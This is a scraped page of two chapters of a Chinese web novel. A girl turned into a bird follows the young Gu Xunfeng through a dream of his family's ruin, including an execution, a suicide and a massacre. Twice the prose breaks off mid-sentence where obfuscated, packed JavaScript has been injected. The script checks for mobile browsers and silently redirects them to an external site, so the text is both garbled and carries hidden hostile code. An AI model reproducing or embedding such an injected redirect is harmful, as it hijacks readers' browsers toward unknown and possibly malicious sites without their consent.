顾寻风一笑:“那提前恭喜你!我现在也没办法,家中管得严,咱们萍水相逢,日后还能不能见面,就看缘分咯。” “叽叽叽!”林清月又甩了甩身子,把水都甩开,扑腾着翅膀往顾寻风那飞。 顾寻风着急忙慌摊出手掌去接住跌跌撞撞的小鸟,颇有些苦恼:“这鸟怎么办啊?” 江奇云耸耸肩:“你救的,你带回去养着呗。看它也挺亲近你的,你给它先取个名字?” 顾寻风皱眉。 他可不会取名字。 想了一会,实在想不出来,他索性四处看了看,看到路边的野花,当即松开眉头敲定名字:“就叫小花!” 江奇云:“好名字!” 林清月:“?” 56. 第一场梦 少年的眼中倒映着雏鸟的模样,笑得灿烂。 但下一刻,雏鸟竟然飞了起来,在他脸上啄啄啄。 江奇云大笑:“哈哈哈哈它定是不满意!它竟然听得懂!” 雏鸟还不太会飞,没啄几下就被顾寻风抓回手里了,顾寻风气鼓鼓的:“我刚刚还救了你的命,你怎么恩将仇报!这名字多好听啊,你不许不喜欢!” 挣扎不开,林清月便放弃了挣扎,望着少年人稚嫩的脸庞,她在心里叹气,张了张嘴,发出一声:“叽——” 好吧。 “它同意了!”顾寻风说。 “叽叽!”是被迫同意! “好啦好啦我知道啦。”顾寻风把小雏鸟揣到怀里去,摸摸胸前鼓起的小包,跟江奇云一起离开了这里。 林清月在衣裳夹层里面闷得慌,便不停地扑腾小翅膀表达不满,但得来的只是被一只手隔着衣服紧紧按住。她思考了一下,暂时停止,不一会就被放开,就此休息了一会,直到好似进了县里。 林清月有了经验,躲过了他第一下,快速把头探出去,“叽——” “小花!”顾寻风按住小雏鸟的脑袋的脑袋把它塞回去。 “叽叽叽——”不要喊这个名字! 此时只有顾寻风一人,见胸口那只小雏鸟一直不安分,他便把小雏鸟抓在手里拿出来,让它站在自己手心,“你还小,要是被坏人盯上了不好,所以不能出来,知不知道?” “叽叽。”不好。 顾寻风笑说:“听不懂。”然后把小雏鸟塞回怀里。 林清月在他胸口狠狠啄一下。 顾寻风“嘶”一声,再次把小雏鸟捏出来,还没说话,就看见小雏鸟从他手里挣扎出来,沿着他的手臂半飞半跳到肩膀上去。 小小一只就这样窝在了他颈边的一块地方。 他叹气妥协。 走了几步,顾寻风戳戳小雏鸟,手指扒了下它说:“你蹭到我了。” 林清月咬了下他手指,但还是乖乖往外挪挪。 顾寻风看着手指上渗出的小血珠,嘴角一抽,“小花,你这么凶是不会有小鸟要你的。” 小雏鸟叽叽喳喳蹦到他头上捣乱。 “好了好了你先安静!我到地方了!”顾寻风双手把小雏鸟抓下来,重新放回肩上。 一路走过来,他的衣裳已经干了一些,但还是能看出被浸湿过,这时候的县令还没那么胖,仍是笑意逢迎的,把顾寻风带到了院子里,让下人拿了件衣裳过来给他换。 进了房间,林清月跳到书桌上去,试着飞了飞虽然飞得不太好看,但还是安全到了屏风上,站稳了。 此时顾寻风正在解里衣,衣裳都搭在了架子上。 林清月飞过去的时候,里衣也被放了上去。 小雏鸟站在被脱下的衣服上面,盯着他看。 顾寻风解开了下裳才发现站在上面的小雏鸟。 他眨眨眼睛,把下裳搭在小鸟旁边,顺手把小鸟换了个方向,背对着自己。 哪知道下一秒,小鸟又蹦了回来,紧紧盯着他。 “……” 他捏住裤腰带的手松开,犹豫了一下,抓过新衣服打算绕过屏风去。 小雏鸟翅膀一扑腾,飞到了他肩上去。 “……小花。” “叽。” “你出去。” “叽。” 小雏鸟赖在他身上不走。 顾寻风觉得有些奇怪,但对这小鸟无可奈何,只能把它放到桌上去,硬着头皮去换衣裳。 县令给他的衣裳是白色的,只有些红带子装饰,林清月从未见过他穿这样素净的衣裳。此时的少年头发还没那么长,个头倒是窜挺高,走起路来发尾一甩一甩的,这样的少年,她亦没见过。 “嗯?这不能吃,小花。”顾寻风一手抓着小鸟,一手抓着衣服上的红飘带,把带子从鸟嘴里扯出来,“走吧,我带你回我家看看。” 顾寻风任由小鸟窝在肩头,只有在马上时才将鸟儿揣进怀里放着,一路往胡京去,途中还经过了苏周城,他打听了许久才买到鸟粮,没饿着这小雏鸟。 到顾家的时候正是清晨,顾寻风开开心心踏入家门,嘴里哼着小曲儿,朝不远处的大哥打招呼:“大哥大哥!” 跑过去了,被大哥一巴掌糊到脸上,“把我的鱼吓跑了!” 顾寻风揉揉脸问:“二姐呢?” “让你出去送个信送那么久,你二姐早回东宫了。” “那我去东宫找她!”顾寻风拔腿就要跑。 但被大哥拉过后衣领:“最近不太平,别去了。” 顾寻风不解:“那二姐不是很危险,我更要去了——” “不许去。”大哥收起鱼食,把他拉进屋中,坐到书桌前提笔开始写些什么,顾寻风凑过去看了看,见又是些政事,便不想再看,在房间里晃晃悠悠左右踱步。 林清月倒是有些好奇,扑腾起来飞过去,停在纸张旁边,见信中写的是对临沙关的治理方案。 她看到信上写的年月,想起这个时间段,临沙关应当还没被夺走,临沙关被攻破是半年后的事,而弑君夺位之事,也在那前后。 而看起来,顾寻风的噩梦,这时也还没开始吧。 待到落款,她看着“顾连雨”三个字,扑腾着翅膀又回到顾寻风的肩膀上去。 还没等大哥说什么,顾寻风先行开口:“不送。” “拒绝那么快做什么?”顾连雨折好纸张放入信封,掀起眼皮看他一眼,把信封朝他那边挪了挪,“信,是要你潜入皇宫交给陛下,不许让其他的任何人知道,特别是东宫的人。” 说完,他摊开手掌比划:“五十两,做不做?” 顾寻风眸色闪闪,走到桌前,拿起信件瞧了瞧,若有所思,片刻后朝他伸手:“先给二十两。” 顾连雨笑着取下自己的钱袋,竟是把五十两都给了他。 “此事,你知我知他知。” “知道!” 顾寻风颠颠钱袋,转头就跑了出去。 还是一样的夜晚,还是一样的路线,还是一样的方式,还是一样的窗户,只是对面的人变成了老皇帝。 “陛下的信!我大哥给的,陛下不许让其他人知道。” 老皇帝接过信叹气:“朕怀念你二姐送信的时光。” “为什么?” “至少她知礼数。” 顾寻风也不反驳,嘻嘻一笑,跟着老皇帝走到书桌前,顺着问:“陛下知不知道,我二姐近日在东宫过得怎么样?” 老皇帝瞥他一眼道:“让你跟太子玩你又不去。” “我才不要,他看着就心机!” “好好好。”老皇帝摆摆手,“我都知道了,你自己玩去吧,放心,你二姐好着呢。” 看起来,顾寻风其实并不喜欢自己的二姐夫。 林清月开始担心。 担心噩梦的到来。 梦一来,这样的顾寻风就再也看不到了。 她不知道为什么会来到这里,也不知道这究竟还是在梦里,又或者真的回到了从前,但担心是真的,害怕也是真的。 她不想看到那些文字变成现实。 她受不了那样。 冰冷冷的文字,和血淋淋的现实不一样。 给人带来的感觉是截然不同的。 但似乎…… 似乎噩梦,并没有到来。 鸟类成长很快,临沙关被攻陷的时候,当时被捡到的小雏鸟早已换羽,身形长大了不少,他的肩膀已经不够栖息,转而到了头顶。 “什么?!都被抓去了?”顾寻风跟在大哥身边,“城里百姓也都被抓走做奴……” “是俘虏,反抗的人都被俘虏了。你这么大动静做什么?莫不是有什么朋友在那边?”顾连雨皱眉。 近日顾连雨心情一直不怎么好,或许因为战事连连败退,也或许朝中党争越来越激烈,总之,此时顾寻风没敢承认:“不是,我就是有点惊讶,听说那位女将军也不是会杀降的人,应该也没有那种虐待的癖好吧。” 顾连雨拍了下他后脑勺说:“战场的事少打听,你莫不是还想去打仗?我们可都不会同意的。” 顾寻风护住头顶的鸟儿:“我可是要行走江湖的人,当然不会——” 顾连雨收手:“读书去。” “……哦。”顾寻风讪讪离去。 林清月猜,接下来顾寻风就要开始计划去救人了。 果不其然,顾寻风看似认真读了好几天书,实则只是让顾连雨放松警惕,为的就是在某一天,趁着顾家人不注意溜出去,直奔辽东。 跟了顾寻风这么些时间,林清月也算是知道了他秉性,把他看透了,无论他是潜入敌营,还是光明正大挑衅人家,她都已经不惊讶了。 事情走向跟她预料的一样。 顾寻风果真找到了江奇云。 他当着孟放歌的面,把江奇云给劫走了,可—— 在回去的路上,江奇云醒来,沉默了许久,趁着好友去寻柴火的时间,拿起匕首,抹了脖子。 顾寻风回来的时候,只看见他静静躺在河边,身下的鹅卵石染上了血,那一片的水也都被染成了浅红。 怎么会这样? 江奇云怎么会死呢? 林清月感觉到不对劲。 她又忽然想到,那天命女,怎么看怎么像孟放歌,那经历那地位,说为天命并不过分。 那天,顾寻风在尸体旁边呆坐了许久,衣摆都被染红了,无论她怎么捣乱都不理,后来,尸体被他亲手埋下,他说江奇云父母早亡,好在死的时候他还在,还能给刻个碑。 “啾。” “走吧,小花。” 林清月不知道还能怎么安慰他,被他握在手里的时候,拿嘴轻轻划拉了一下他的皮肤,“啾啾。” 他只是用指尖摸摸鸟儿小小的脑袋,然后回了胡京。 回了顾家。 “跪着!” “还有你顾紫烟!打掩护也给我跪着!” 顾连雨一见着他回来就火冒三丈,气得让他们在祠堂跪了三天三夜。 两个人插科打诨,三天打鱼两天晒网的偷着懒跪了跪,顾连雨也装作没看见,顾寻风老实了好些,很是殷勤的帮大哥跑腿干活—— 若不是在某一天晚上,林清月被他抓在手里,听见他说要偷偷溜去东宫找二姐,她也就信了顾寻风是安分了。 但这段时间大哥管得越发严,他怎么奉承讨好都没有用。 “这可怎么办呀——若我不能去找二姐,武功不能精进,怎么被选中进军营,怎么把辽东夺回来,怎么对得起他!” “不行,不能消沉,我一定得想想办法……” 于是,在大哥的严防死守下,顾寻风被逮到了五次。 顾连雨实在是受不了了,第五次将他逮住后,与他面对面坐着,“你到底想怎么样。我最近很忙,你能不能不要再给我添乱了?” 顾寻风道:“大哥引荐我进军营吧!” 顾连雨深吸口气,起身就走了。 第二天,让人送来了一大摞书。 顾寻风趴在桌前郁闷了好一会,被“啾啾啾”吵了起来,小鸟衔着他的衣带,似乎也在表达自己被连累关起来的不满。 顾寻风叹气:“你安静点儿。” 他也没办法啊,谁知道大哥忽然发什么疯,管他管得这么严,干嘛非要他读书啊?继承衣钵也不是这么继承的吧,更何况还有顾紫烟在呢,哪轮得到他? 小鸟飞起来在他脸上胡乱啄了几下,又衔起他衣带扯。 “你做什么?”顾寻风试图把小鸟抓住,但每次都只能碰到羽毛,小鸟都快把他衣带扯开了,“停下停下,你是不是闲的!” 顾寻风在房间里追着小鸟,被逗得上蹿下跳,最后,小鸟停在了房梁上。他气喘吁吁,叉着腰,拿剑柄指过去,“快下来,不然饿你三天!” “啾!” “下来!” “啾啾!” 根本无法交流。 顾寻风气道:“你出不去又不是我的错,跟我撒气做什么!” “啾啾啾!”小鸟拍了拍翅膀,仍是没下来。 “……我才不管你了。” 顾寻风转身回到座位。 小鸟这时飞下来了,落到砚台上沾了一脚的墨水,然后在纸张上踩出脚印。 顾寻风揉揉眉心,捂住脸:“大哥发现了把你丢出去的话,我可管不了。” 半晌,小鸟狠狠啄他手背,他方才放下手,转脸看过去。 他惊奇的发现, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14539346|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些鸟爪子,竟然能拼成一个字,这小鸟在纸上写了个“东”字。 “小花,你成精了?” “……啾……啾啾!”小鸟扇起翅膀对他嘴打脚踢,他脸上都粘上了墨。 “啾啾啾啾啾啾啾啾!” “哎你干什么?我说着玩的你干嘛啊,你别急行不行,好好好我再看看我再看看!” 小鸟回到桌上站稳,顾寻风去把脸上的墨水洗掉,拿起纸张上看下看,还是只看出了一个“东”字。 不知道是不是看出他看不懂了,小鸟扑腾了一下翅膀,站在他手背上,“啾。”然后,爪子划破了他手背,还没等他惊呼出声,小鸟再次飞起来。 顾寻风把纸张一丢,拍案而起:“你!你你你!小花——我是不是太纵容你了!” 小鸟快速躲过他一掌,一爪按在纸上,鲜红的血爪印在上面格外刺目,“啾!” 顾寻风趁机把小鸟抓到手里,看了看纸张,这才忽然想到什么。 东宫? 东宫……二姐在东宫呢。 难道这小鸟真成精了,告诉他东宫会出事?不可能吧? 本来想尽办法,只是为了进军营而已,进不了也可以再拖拖,可如果二姐真有出事的风险,那他无论如何都必须得去看看了。 大哥也阻止不了他。 当天晚上,他借口问学,去了顾紫烟房间。 “我不,上次就是因为你,大哥天天都要来找我问问题抽查,我真受不了了我只是想好好睡觉他都不许,说什么反正以后升官了也要上朝先适应适应……” “停停停,说太多了。” 顾紫烟摆袖,拿起书本挡住脸,瘫在椅子上:“总之这次我不帮。” “求求你三哥。”顾寻风在他身边转,“求求你求求你,三哥三哥三哥三哥哥哥哥哥……” 顾紫烟敲他脑袋:“你到底做什么非要出去?” “我要去见二姐!” “……老实点。”顾紫烟把他往旁边推,神色忽然正经了些,“这事我就当不知道,不会告诉大哥。” “为什么!”顾寻风抗议。 顾紫烟抬起书本,默然片刻,只是说:“有这时间多去读几本书帮我分担分担。” 顾紫烟这条路走不了,顾寻风愁了很长时间。 他不明白为什么不许他去见二姐。 又或者,是不许他去东宫? 可为什么呢。 二姐只是嫁人了,但也还是他二姐啊,还是顾尘微,还是顾家的人,为什么他们都不许他去见? 他愤怒,但也只能愤怒。 顾连雨防他跟防敌人似的,不择手段,他根本逃不出去。 他自然没有放弃,尽管每次都被抓住,逃了五天,总共被抓了九次,有一次差点就出了顾府的门,被大哥从大门后出来拎住他衣领就丢了回去。 最后不知道是不是顾紫烟把他的目的抖了出去,顾连雨在某一天,亲自拿着几本书走进来,就端端正正坐在他面对,眼睛看着书本,问他:“为什么要去东宫。” 顾寻风立马否认:“我只是想去见二姐。” 顾连雨道:“皇宫势力错综复杂,你未曾深入,不懂其中门道,我不怪你,但你日日闹腾实在让人精力匮乏,今日起,我会在你房间陪你读书。” 顾寻风:“……” “等过些时日,外面……总之能出去的时候,我会让你出去的。” “我现在就要出去!” 顾连雨仿若未闻,翻了页书继续看。 “大哥你也不能让大嫂日日独守空房吧?” 顾连雨:“她乐得自在。” 顾寻风:“我就不自在了!” 顾连雨一脸“谁管你”,继续看书。 于是顾寻风开始对大嫂下手,每日抓着顾连雨不在的时候就去给大嫂书信,言辞恳恳句句真诚,劝大嫂多跟大哥在一起,顺便给他生个侄子玩,但每次都只能得到简短的“不生”二字。 有时候,只要“哦”。 顾寻风时常怀疑他大哥大嫂之间到底是怎么相处到现在的。 不过很快他就知道了。 那天晚上,大哥没有来房间。 隔日,他听闻大哥被抓了起来,要被处死。 他最后一次见到大嫂,是在大哥的衣冠冢前,大嫂一身素净的白衣,跪在失魂落魄的他旁边,烧着纸钱,看起来没什么悲伤。 她的情绪比起他,要淡不少,语气也是。 “从年少时被家中许配给他,相互扶持数年,我其实都是钦佩他的,但也仅止于此了。你如今应当也听说了东宫叛乱一事,他赴死,早已在计划之中,所以我们从没打算要孩子。” “他死了,但许我自由。” 顾家如今在朝政中有话语权的,只有顾连雨,东宫叛乱,第一个被株连的便会是顾家,但如今,顾家只死了个顾连雨。 顾寻风不知道究竟为什么会这样,他甚至都怀疑是自己当初送那封信时被发现了。 他不明白为什么大哥就这样死了。 不明白为什么太子要对他们赶尽杀绝。 而现在变成顾紫烟关他了。 顾紫烟哪关得住他,他最了解的就是他三哥了,天天偷懒的家伙。大哥死了,许多事都落在三哥身上,哪还有时间来管住他。 在踏出顾府大门的时候,小鸟又拉住他衣带。 “你不想出去,那就不出去。”顾寻风把衣带扯回来,“总之我要去。” 他大哥死了啊,就这么毫无征兆的。 可他大哥怎么可能是那样的人,怎么可能犯了死罪,怎么可能意图谋反!谋反的分明是东宫! 他去找二姐,二姐一定能告诉他答案。 小鸟最终还是扇动着翅膀跟上了他,就在他不远处跟着,一路到了东宫。 如今皇宫处处都是太子的士兵,老皇帝早就死了,太子还是太子,还没杀服所有大臣,也杀不完,此时的太子急需一个威慑。 这一刻,林清月才终于明白,当初顾寻风为什么是选择投靠太子。 顾家世代孤臣,如今他代表顾家投靠了太子,那顾家便不会再被当做那个鸡被杀掉,以此儆猴。 而现在的她也终于意识到。 这里正是顾寻风的第一场梦。 57. 初梦真相 朱墙上还有些未清理干净的血迹,几天过去,叛乱已然停止,如今大臣们更担心的是皇位继承的问题。 太子已经不能说是顽劣,弑父杀母,兄弟也一个不留,还骗过他们,装得德善好施,当上太子,实际上前太子说不定都是他干掉的……这也都不重要。 重要的是得位不正啊。 大臣都想问:“你都已经当上太子了,怎么还要叛乱呢?” 谁也揣测不住这位太子的心思。 中立的人里,除了顾家那位,其余人都还在犹豫,手里奏疏写了又写,没一个敢率先递上去提意见的。 太子暂理朝政,他们更是挑不出错。 这能如何? 于是,第一个妥协的人就出现了,上书求着太子继位,许多人也纷纷效仿。 “不用看了,都拿下去吧。” “不再看看?若还有反对的呢?”顾尘微翻翻奏疏。 赵宸斜靠在椅子上,揉揉太阳穴道:“你又无法让你家中上书做表率,反对不反对,也都掀不起什么浪来。等再过段时间,那些人都消停了,我承愿继位便是,你放心,我还需要皇帝这份权利,不会临阵退缩。” 顾尘微沉默着收好了杂乱的房间,在院里看着下人去清理。 忽的,她耳朵动了动,望向墙边,见一只小鸟正朝她飞来,落在她下意识抬起的手上。 顾尘微疑惑又惊喜:“竟然有鸟儿出来了。” 丫鬟道:“是呢,春日来了。” “啾啾。”小鸟回应似的叫了两声。 顾尘微望着小鸟,小鸟也望着她,许久,她笑出声来:“竟然不走。” 路过的下人奉承:“许是娘娘掌心温暖,鸟儿也眷念。” 顾尘微将掌心收拢,把小鸟捧在手心,脸颊蹭蹭鸟儿的羽毛,眉眼温柔,话语很轻很轻:“我也很喜欢你,但是……快走吧。” 说完,她将小鸟抛了出去。 小鸟在空中盘旋了几圈,落在树枝上。 这时一支箭矢破空而来,顾尘微反应快,抽出下人的剑挡走,却不小心惊了树上的鸟儿,鸟儿从树枝上坠落下来。 顾尘微立刻抛下剑去接住小鸟。 赵宸被惊动,从里屋出来,去吩咐人追刺客,转身抓住鸟儿一只翅膀,拎起来说:“一只鸟而已,你喜欢,我给你买个更好看的。” 顾尘微把他手腕使劲一抓,鸟儿就掉回她手掌来。 “你不要虐待我的鸟儿。” “哪里虐待?这算虐待那你天天虐待我怎么说?” 顾尘微摸着小鸟的脑袋,眼眸低垂,似乎是不想接他的话,但最后还是开口说:“往后也不会了。” 赵宸笑容僵住。 气氛有些奇怪。 “啾。” 被小鸟的一声拉回思绪,赵宸收回玩笑的语气:“回房去吧,近日刺客多。” 顾尘微没有回答,转身走了,乖乖回房。 她把小鸟带回房间,放在桌上,指尖戳着逗它玩。 过了半晌,她突然道:“出来吧。” 窗户外跳进了一个人,进来后急冲冲走过来,喊她:“二姐!” “不用问了,是我劝的。”顾尘微看都没看过去一眼,眼睛看着鸟儿,鸟儿明亮的眼睛也回望过去。 那双眼睛黯淡无光,一丝情绪也看不出来。 她的声音有些沙哑:“我能做的事很少,只用在殿下面前说,我没事,你可以杀我大哥,我真的没关系……但其实,我们之间在很久很久之前,就有嫌隙了,也不在乎这一个,我怕大哥知道了担心我,没告诉他。” 顾寻风脑子有些运转不过来,手紧了再紧,沉声问:“你们都知道吧,就我不知道。可他要去死,你们就都这样让他去死吗?” 顾尘微呢喃:“有什么办法呢……” “怎么会没有办法呢!”顾寻风捏住她双肩,声音颤抖,“怎么会没有办法,怎么会!哪怕让他假死都可以啊!” 顾尘微摸摸他的头:“你乖一点,回去好好读书。” 顾寻风骤然松开手,后退了几步,泪水顺着脸颊掉了下来,又立刻被他抬手擦掉。 “二姐,你以前不是这样的。” “回去吧阿风,不要再来东宫了。二姐知道你有本事,但这一次发现不了你,不代表次次都发现不了,二姐……护不住你。如今,谁也护不住了。” 顾寻风擦掉眼泪,咬牙切齿:“都怪那个赵宸!我去杀了他!” 顾尘微拔出墙上挂着的剑,搭在自己颈边。 “啾啾!” 小鸟急得两边看,扑腾到剑旁,衔住剑刃,想把剑叼走,但都是无用功。顾寻风转身看过去,“……小花,回来。” 小鸟飞到了他肩上站着。 顾寻风接着对二姐说:“二姐,他是坏人。” 顾尘微一个字一个字说:“你不可以去。” “可他杀了大哥……” “可他是未来的皇帝!” 顾寻风的身体控制不住颤抖,他快拿不住剑,嘴里重复着那一句:“可他杀了大哥……他杀了大哥……” “我不能报仇吗……不能吗?” 顾尘微语气强硬:“阿风,回去。” “可是为什么……”顾寻风颤抖着,声音越来越大,“他能杀了大哥,往后对二姐又能多好,我说过我不喜欢他!我不要二姐嫁给他!为什么还要嫁给他!” “顾寻风!你若还想要去杀他,我只能死在这里。”顾尘微一点都没有受他的影响,手里的剑割破皮肉,渗出了血。 “叮啷”一声,顾寻风手中的剑掉在地上。他脱了力跪在地上,泪水不停往外涌出,脸上却已经做不出任何表情,眸中的光亮终究还是消失了。 顾尘微收起剑走到他面前去,抬手拭去他的泪水,勉强弯起嘴角笑了笑。 “你要听话,阿风,父亲母亲年纪大了,紫儿……你三哥在政事上也还没成熟,顾家正危,你不能再任性。” “你不能……让大哥失望。” 顾寻风喃喃:“大哥,已经死了。” 顾尘微咽下泪水,回他:“那阿风,不能让大哥白死啊。” 打开的窗户被风吹得“咯吱”响了一下,顾尘微起身去到窗口,将窗户关好,回身时,顾寻风已经拿着剑起身。 顾尘微想叫他坐会,但见他一声不吭,转头就要走出去。 “现在外面正抓刺客查得严……” “刺客就是我,他们抓得到就算他们有本事。” 顾寻风头也不回,打开窗户就走出去。 顾尘微追到门口时,顾寻风已经没了影。 关上门,顾尘微靠在门上,许久,她抬手摸了摸脖子上的伤口,垂头靠坐在地上,不知过了多久,窗户那儿忽然想起“咚咚咚”的声音。 顾尘微起身跑过去,拉开窗户。 是那只小鸟。 小鸟“啾”一声,落在她手心上,她问:“怎么不去陪他?” 小鸟扑腾了一下翅膀,啾啾啾叫几声,似是在回答她,她是听不懂的,但看着小鸟手舞足蹈,也还是笑了笑,她抬起食指抹去眼角的泪珠,不知想到了什么,笑得开心。 她说:“……这个混小子,骂东宫的人没本事呢。” 接着,又叹叹气:“希望他能代替我再护顾家一程吧,护不住,也别勉强啊……小鸟,你如果能说话就好了,就能帮我把这些话带给他。” 她看着小鸟,带着笑意。 “算啦,你走吧。” 小鸟却没有飞走。 顾尘微很是无奈:“你要留在这吗?” 小鸟:“啾。” “不要留在这。”顾尘微摇头,“这里很危险的。” 可小鸟直接飞了进来,眨眼就不知道藏在了哪,顾尘微没办法,也不再管。 左右不过一只鸟,现在,她连自己的生死都管不了,哪还管得了一只鸟。 顾寻风来的时候就已是黄昏,此时外头已经黑了。顾尘微将灯熄了,只留下一盏,靠在床头想着与大哥的最后一面,她站在外面,大哥在牢里,仍旧是那样的端正有礼,到了最后,被压去行凌迟之刑,还在教育她说要顾全大局。 她的身份,是太子侧妃。 到最后,撑死也就是个贵妃。 她不会是皇后,但她不甘于只是一个小小的妃子,哪怕是仅次于皇后的贵妃。 “咚咚咚——” 敲门声陡然响起。 房内有翅膀扇动的声音。 那尊贵的太子殿下,以后,更是尊贵的皇帝陛下。 而她,她的哥哥是罪臣,她是蛊惑圣心的妖妃。 “吱呀”一声,门被打开。 来人似乎是看到了掉在地上的剑,急忙跑到床边,扶住她的肩膀,“尘微你……” “殿下,我想杀您。”顾尘微轻轻出声。 面前的人顿了顿,松开手站直身子。 “你就笃定我不会对顾家做什么吗?你杀我,我有的是罪名安在顾家身上。” “我不杀,殿下就会放过顾家吗?” 赵宸没有说话。 顾尘微起身去拿起地上的剑,笑了笑:“我就知道,殿下从没想过留顾家人一命……可惜,可惜大哥……若是我早些发现你这肮脏的心思……” 他们二人同时转身,相对站着,顾尘微举起手中的剑,嘴里呢喃:“当初……本就不该心软嫁给你,也不会到如今这般……” 赵宸道:“现在再谈当初,未免太过讽刺。” 顾尘微笑一声:“是,多讽刺。” 而赵宸的声音忽然变得有些抖:“是你先招惹我,你先撩拨我,哪怕你不知道我的身份甚至……弄错了我的性别,但那些话,也都是你亲口说的。” 赵宸一步步朝她走去,眼尾有些红,“你不舍得动手的,对吗?” 顾尘微往后退了一步,她垂下手,笑了几声,转身不去看他。 她微微仰头,可眼泪还是流了出来。 从前算什么? 那就算她不知分寸,算她始乱终弃罢。 她重新拿起剑,沿着脖颈那道伤口划了下去。 “顾尘微!” 赵宸几步上去把剑夺走丢在地上,接住她的身体。 顾尘微声音微弱:“赵宸……你莫不是想杀了我家人,还想我活着,你有没有想过这样……我会多痛苦啊?” “我……”赵宸张了张嘴,想说什么,却一句话都说不出来。 最终,他一句“回来”,将要去找医师的暗卫叫了回来,抱着她的身体,就这么感受着她的生命流逝,直至再也没有呼吸。 赵宸将她的尸体放回床上,出了门去,这时林清月才敢飞出去。 她看见赵宸回了书房,扑腾着翅膀去找顾寻风,果不其然,他还在那里躲着,没找到出东宫的方法。 “你跑去哪了?”顾寻风把小鸟塞进衣裳里,不顾小鸟的反抗,“你不许再乱跑了,很危险的知不知道。” “啾……” “也不许叫。” “……” 其实自从知道这是一场梦后,林清月反而添了分好奇,好奇在这梦里,顾寻风究竟是怎么走到那一步的,现在看来,顾家就算最后真被株连了,也与他没有关系啊。 总之,先跟着顾寻风混混经验吧。 这一晚上,他就挤在狭窄的木箱里渡过,直到翌日清晨,守卫明显变少了,他才得以出来晒晒太阳。 这次逃出东宫没费多大功夫。 “奇怪,他带兵出去了?” “啾……啾!” 他这去顾府了?!这么快吗!昨天顾尘微刚死,他就要去把顾府…… 长得这么好看,可惜是个蛇蝎心肠,歹毒至极。 “你吵什么?” “啾啾啾啾啾!” “……”顾寻风把鸟的嘴捏住,“别叫了,人家都看着我们。” 真怪得很,一切都那么奇怪。 顾寻风把小鸟捏在手中,手指攥紧威胁,小鸟才消停。 今日阳光正好,路边有许多孩童在外面玩耍,小摊也都摆了出来,很是热闹,平民只求生存,都说着些家长里短,皇宫中发生什么,又死了谁,都与他们无关。 顾寻风想,若真有下辈子大哥去个普通人家,倒也是好的,至少也不会蒙冤而死—— “哎听说了吧,咱们天子估计又要换了嘞。” “那算什么?我有个从北边逃难过来的朋友,说那姜国要打过来了呢,说是有什么紫微星,女的将军嘞!” “可别说了,顾家你知道吧,装清高的孤臣,都谋反了,我看我们还是准备好降吧,管他谁当皇帝,我只想活着啊。” 也不会被人当作饭后闲谈。 小鸟在他肩头踩了踩,又叫一声:“啾——” 顾寻风把小鸟捏在手里,叹气:“小花,你是在安慰我吗?” “啾啾。” 顾寻风强颜欢笑:“我没有不开心了,二姐说得对。” “啾……” “大哥费尽心思不让我与东宫联系,如今我若再去,岂不是让大哥的心思白费,那大哥在九泉之下也不会安息的,我只希望他能好好投胎,投个好胎……” 忽的,他话语停住,脚步一顿。 小鸟从他松开的手掌中飞出去,翅膀扑腾几下,落在了屋檐上。 “那边不是顾家吗?怎么被围起来了?” “你没听说吗?他们家老大谋反,肯定是来灭门的咯。” “可惜可惜,我家儿子还跟他们家儿子曾是同窗来着。” “那你可看好你儿子,免得被株……哎哟!谁这么横冲直撞!” 路边去赶工的市民闲谈着,刚路过被士兵围着的顾府,一道红色的身影也不知从哪窜出来,一路冲过去。 小鸟跟在顾寻风后面使劲扑腾着翅膀飞,追赶过去。 周围的士兵竟然并未阻拦他。 站在顾家门口的时候,顾寻风顿了顿。他闻到浓重的血腥味,沿着脚印一路走过去,都是家丁的尸体,“四哥——”还年幼的顾焦焦从院门哭着出来,没走几步就跌倒在地上。 顾寻风把她抱起来放回屋里坐着,问她:“这是怎么回事?” 顾焦焦哭道:“他们要来杀我,三哥来说了些什么,他们,就把三哥带走了……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558438|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好痛,我跟不上去……” “谁要杀你!” “我不认识,我不认识……” “顾紫烟不让你说?”顾寻风瞪着双眼,狠狠抓着她肩膀,“你告诉我,我去报仇。他们是不是还没走,我去杀了他们!” 顾焦焦抓住他的衣服,“四哥,我们走吧,我们逃走好不好?那些事情以后再说……” “焦焦,对不起。”顾寻风蹲下来仰头看着它,摸了摸她的脑袋说:“四哥救不了你。” 小鸟站在一旁的桌子上,清晰的看见在抱住她的那一瞬间,顾寻风将本插在她身上的匕首拔出。 顾焦焦痛晕了过去。 大概不久之后就会因为失血过多而死。 顾寻风拿着匕首,走了出去。 “啾啾啾!” “你不要跟着我。” 小鸟衔住他的衣裳,但被他扯走,并被凶了一句:“滚开!” 顾寻风走得飞快,把匕首插在腰带里,拎着剑,一路看见谁就杀谁,驻守在顾府的士兵都来抓他,但根本拦不住。 顾寻风也不知道自己杀了多久。 太子终于被人护着,从顾府大门走进来。 顾寻风提剑指着他:“你把顾紫烟怎么样了?” 太子笑说:“在诏狱呢。” “我没问他在哪!”顾寻风抹了抹脸上的血,向前走,周围想去控制他的人被太子拦住,他的剑就这么抵到太子喉咙那儿,“我是说,你把他怎么样了。” 太子微微垂眸,看不清神情。 顾寻风冷笑:“你把他杀了?还是说,要跟我大哥一样……” 太子忽而抬头,阴鸷的眼睛紧紧盯着他。 “若是他承认顾家通敌叛国、意图谋反、杀害亲王的罪行,我可以考虑留他全尸。” 